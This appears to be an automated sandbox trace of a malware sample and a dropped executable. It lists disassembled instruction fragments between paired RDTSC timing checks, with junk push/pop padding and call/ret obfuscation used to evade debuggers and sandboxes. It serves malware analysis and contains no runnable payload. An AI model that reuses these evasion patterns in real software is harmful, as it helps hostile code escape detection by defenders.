Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B080C second address: 52B082B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0FCEAC562h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B082B second address: 52B084C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 mov bx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov al, byte ptr [edi+01h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD0FD11A2CEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B084C second address: 52B085B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B085B second address: 52B08D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov dx, 75C6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c inc edi 0x0000000d pushad 0x0000000e mov bh, 77h 0x00000010 mov ecx, 33ED879Bh 0x00000015 popad 0x00000016 test al, al 0x00000018 jmp 00007FD0FD11A2CEh 0x0000001d jne 00007FD16EDF24C4h 0x00000023 pushad 0x00000024 pushad 0x00000025 call 00007FD0FD11A2D3h 0x0000002a pop esi 0x0000002b jmp 00007FD0FD11A2D9h 0x00000030 popad 0x00000031 popad 0x00000032 mov ecx, edx 0x00000034 jmp 00007FD0FD11A2CEh 0x00000039 shr ecx, 02h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FD0FD11A2CAh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B08D9 second address: 52B08DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B08DD second address: 52B08E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B08E3 second address: 52B0932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ebx, 585A4DA0h 0x0000001b pushfd 0x0000001c jmp 00007FD0FCEAC569h 0x00000021 add eax, 0BE994A6h 0x00000027 jmp 00007FD0FCEAC561h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0932 second address: 52B09DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0FD11A2CAh 0x00000009 and cl, 00000048h 0x0000000c jmp 00007FD0FD11A2CBh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ecx, edx 0x00000017 pushad 0x00000018 call 00007FD0FD11A2D4h 0x0000001d pushfd 0x0000001e jmp 00007FD0FD11A2D2h 0x00000023 sbb si, EFD8h 0x00000028 jmp 00007FD0FD11A2CBh 0x0000002d popfd 0x0000002e pop eax 0x0000002f pushfd 0x00000030 jmp 00007FD0FD11A2D9h 0x00000035 jmp 00007FD0FD11A2CBh 0x0000003a popfd 0x0000003b popad 0x0000003c and ecx, 03h 0x0000003f pushad 0x00000040 jmp 00007FD0FD11A2D4h 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FD0FD11A2D0h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B09DF second address: 52B0A84 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 rep movsb 0x00000009 pushad 0x0000000a call 00007FD0FCEAC55Ah 0x0000000f push ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007FD0FCEAC567h 0x00000018 sub eax, 0350E2BEh 0x0000001e jmp 00007FD0FCEAC569h 0x00000023 popfd 0x00000024 popad 0x00000025 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002c jmp 00007FD0FCEAC55Eh 0x00000031 mov eax, ebx 0x00000033 pushad 0x00000034 mov al, 79h 0x00000036 mov di, 44CEh 0x0000003a popad 0x0000003b mov ecx, dword ptr [ebp-10h] 0x0000003e jmp 00007FD0FCEAC565h 0x00000043 mov dword ptr fs:[00000000h], ecx 0x0000004a jmp 00007FD0FCEAC55Eh 0x0000004f pop ecx 0x00000050 pushad 0x00000051 mov edx, eax 0x00000053 push eax 0x00000054 push edx 0x00000055 mov di, ax 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A84 second address: 52B0ACA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD0FD11A2D4h 0x00000008 and ah, FFFFFFA8h 0x0000000b jmp 00007FD0FD11A2CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop edi 0x00000015 jmp 00007FD0FD11A2D6h 0x0000001a pop esi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0ACA second address: 52B0AFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 00FA1095h 0x0000000b popad 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push ecx 0x0000000f movsx edx, si 0x00000012 pop ecx 0x00000013 mov dl, CDh 0x00000015 popad 0x00000016 leave 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD0FCEAC568h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AFD second address: 52B0B03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B03 second address: 52B05AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e cmp dword ptr [ebp-2Ch], 10h 0x00000012 mov eax, dword ptr [ebp-40h] 0x00000015 jnc 00007FD0FCEAC555h 0x00000017 push eax 0x00000018 lea edx, dword ptr [ebp-00000590h] 0x0000001e push edx 0x0000001f call esi 0x00000021 push 00000008h 0x00000023 jmp 00007FD0FCEAC565h 0x00000028 push 290F27C9h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0B94 second address: 52B0C1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FD0FD11A2D6h 0x00000010 push eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FD0FD11A2CCh 0x00000018 or si, A508h 0x0000001d jmp 00007FD0FD11A2CBh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 jmp 00007FD0FD11A2D6h 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d call 00007FD0FD11A2CEh 0x00000032 mov ah, 12h 0x00000034 pop edx 0x00000035 mov edx, ecx 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0C1D second address: 52B0C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0C21 second address: 52B0C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 6EF0FC second address: 6EF102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 6EF102 second address: 6EF10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FD0FD11A2C6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 862D16 second address: 862D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD0FCEAC563h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861E27 second address: 861E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007FD0FD11A2C8h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861E34 second address: 861E69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FD0FCEAC556h 0x00000009 jmp 00007FD0FCEAC55Bh 0x0000000e jmp 00007FD0FCEAC567h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861E69 second address: 861E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861FB8 second address: 861FC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Ah 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861FC8 second address: 861FE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD0FD11A2D8h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861FE6 second address: 861FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861FEA second address: 861FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD0FD11A2C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 861FFE second address: 86201F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD0FCEAC564h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 86201F second address: 86203E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2D4h 0x00000009 jl 00007FD0FD11A2C6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 86203E second address: 86205A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FD0FCEAC556h 0x00000009 jns 00007FD0FCEAC556h 0x0000000f jne 00007FD0FCEAC556h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8621C0 second address: 8621C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864C30 second address: 864C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007FD0FCEAC566h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864C55 second address: 864C59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864CB8 second address: 864CBE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864CBE second address: 864D25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c mov cx, ax 0x0000000f call 00007FD0FD11A2C9h 0x00000014 push edi 0x00000015 jl 00007FD0FD11A2D1h 0x0000001b jmp 00007FD0FD11A2CBh 0x00000020 pop edi 0x00000021 push eax 0x00000022 jne 00007FD0FD11A2D0h 0x00000028 jmp 00007FD0FD11A2CAh 0x0000002d mov eax, dword ptr [esp+04h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD0FD11A2D5h 0x0000003a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864D25 second address: 864D2F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864D2F second address: 864D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FD0FD11A2C6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864D45 second address: 864D5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jne 00007FD0FCEAC568h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864D5B second address: 864D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864D5F second address: 864D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864D63 second address: 864DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jmp 00007FD0FD11A2CBh 0x0000000c push 00000003h 0x0000000e sub dword ptr [ebp+122D1F4Eh], edx 0x00000014 push 00000000h 0x00000016 or cx, 3A6Ch 0x0000001b push 00000003h 0x0000001d jmp 00007FD0FD11A2CCh 0x00000022 push 48BA59A0h 0x00000027 pushad 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b jmp 00007FD0FD11A2D0h 0x00000030 popad 0x00000031 je 00007FD0FD11A2C8h 0x00000037 pushad 0x00000038 popad 0x00000039 popad 0x0000003a add dword ptr [esp], 7745A660h 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007FD0FD11A2C8h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 00000019h 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b jmp 00007FD0FD11A2CBh 0x00000060 lea ebx, dword ptr [ebp+12449B3Dh] 0x00000066 mov ecx, esi 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864EE2 second address: 864EE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864F54 second address: 864F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864F58 second address: 864F7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC566h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FD0FCEAC55Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864F7A second address: 864FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 pushad 0x00000009 mov bh, ah 0x0000000b pushad 0x0000000c mov dword ptr [ebp+122D2EF3h], edx 0x00000012 jns 00007FD0FD11A2C6h 0x00000018 popad 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d jmp 00007FD0FD11A2D9h 0x00000022 pop ecx 0x00000023 push CDB3C026h 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jnc 00007FD0FD11A2C6h 0x00000031 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 864FBF second address: 86503A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 324C405Ah 0x0000000e jmp 00007FD0FCEAC568h 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FD0FCEAC558h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 sub edi, dword ptr [ebp+122D3808h] 0x00000037 mov edx, dword ptr [ebp+122D3630h] 0x0000003d push 00000003h 0x0000003f sub di, 0770h 0x00000044 jg 00007FD0FCEAC55Ch 0x0000004a add edi, dword ptr [ebp+122D2EA1h] 0x00000050 push 6DEB2170h 0x00000055 pushad 0x00000056 jnc 00007FD0FCEAC558h 0x0000005c push eax 0x0000005d push edx 0x0000005e push esi 0x0000005f pop esi 0x00000060 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 86503A second address: 8650B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 5214DE90h 0x00000011 call 00007FD0FD11A2D3h 0x00000016 mov dword ptr [ebp+122D2E7Ch], edi 0x0000001c pop ecx 0x0000001d lea ebx, dword ptr [ebp+12449B51h] 0x00000023 or edx, dword ptr [ebp+122D3818h] 0x00000029 add dl, 00000021h 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e jmp 00007FD0FD11A2CDh 0x00000033 pushad 0x00000034 jmp 00007FD0FD11A2CDh 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jnp 00007FD0FD11A2C6h 0x00000048 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8650B2 second address: 8650C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8650C4 second address: 8650CE instructions: 0x00000000 rdtsc 0x00000002 je 00007FD0FD11A2CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 877D75 second address: 877D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 877D7B second address: 877D89 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 886282 second address: 8862A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC55Eh 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0FCEAC55Ch 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8862A6 second address: 8862AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8862AB second address: 8862B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 88488A second address: 8848A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2CDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8848A1 second address: 8848A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 884A2E second address: 884A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 884A39 second address: 884A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 884A3D second address: 884A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 87B264 second address: 87B272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 87B272 second address: 87B276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 87B276 second address: 87B27C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 84AD11 second address: 84AD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD0FD11A2C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8853E5 second address: 8853EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8853EB second address: 8853F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8853F0 second address: 8853F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 885AF1 second address: 885AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 885AF7 second address: 885B1D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD0FCEAC56Bh 0x00000008 pushad 0x00000009 jnl 00007FD0FCEAC556h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 885B1D second address: 885B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 885DF2 second address: 885DF9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 87B2C9 second address: 87B2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 88785F second address: 887871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
